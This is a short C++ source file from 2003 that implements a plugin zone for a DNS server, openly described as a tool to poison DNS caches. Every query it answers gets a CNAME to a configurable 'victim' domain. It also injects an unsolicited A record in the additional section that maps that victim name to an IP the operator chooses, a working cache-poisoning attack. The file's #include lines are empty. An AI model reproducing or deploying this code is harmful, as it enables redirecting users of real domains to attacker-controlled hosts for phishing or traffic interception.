/*************************************************************************** poision.cpp - Poision DNS caches ------------------- begin : th jan copyright : (C) 2003 by Meilof email : meilof@users.sourceforge.net ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ #include #include #include class PoisonZone : public Zone { public: PoisonZone() : Zone() { is_placeholder = false; ip[0] = 127; ip[1] = 0; ip[2] = 0; ip[3] = 1; } domainname victim; char ip[4]; void feed_setting(const char *name, const char *val) { if (strcmpi(name, "victim") == 0) { victim = val; } else if (strcmpi(name, "ip") == 0) { txt_to_ip(ip, val); } else { throw PException(true, "Unknown setting %s\n", val); } } _auth_ret stdquery_lookup(pending_query *q, domainname &qname, uint16_t QTYPE, domainname &znroot, DnsMessage *a) { a->answers.push_back(DnsRR(qname, DNS_TYPE_CNAME, CLASS_IN, 3600, victim.len(), victim.c_str())); if (QTYPE == DNS_TYPE_A || QTYPE == QTYPE_ANY) a->additional.push_back(DnsRR(victim, DNS_TYPE_A, CLASS_IN, 3600, 4, ip)); return step6; } virtual bool additional_lookup(domainname &qname, uint16_t QTYPE, stl_list(DnsRR)& section, domainname &znroot, pending_query *qinfo) { section.push_back(DnsRR(qname, DNS_TYPE_CNAME, CLASS_IN, 3600, victim.len(), victim.c_str())); return true; } }; Zone *create_poison_zone() { return new PoisonZone(); } zone_entry poison_entries[] = { { "poison", create_poison_zone }, { "", NULL } }; extern "C" zone_entry* poison_LTX_get_zones() { return poison_entries; }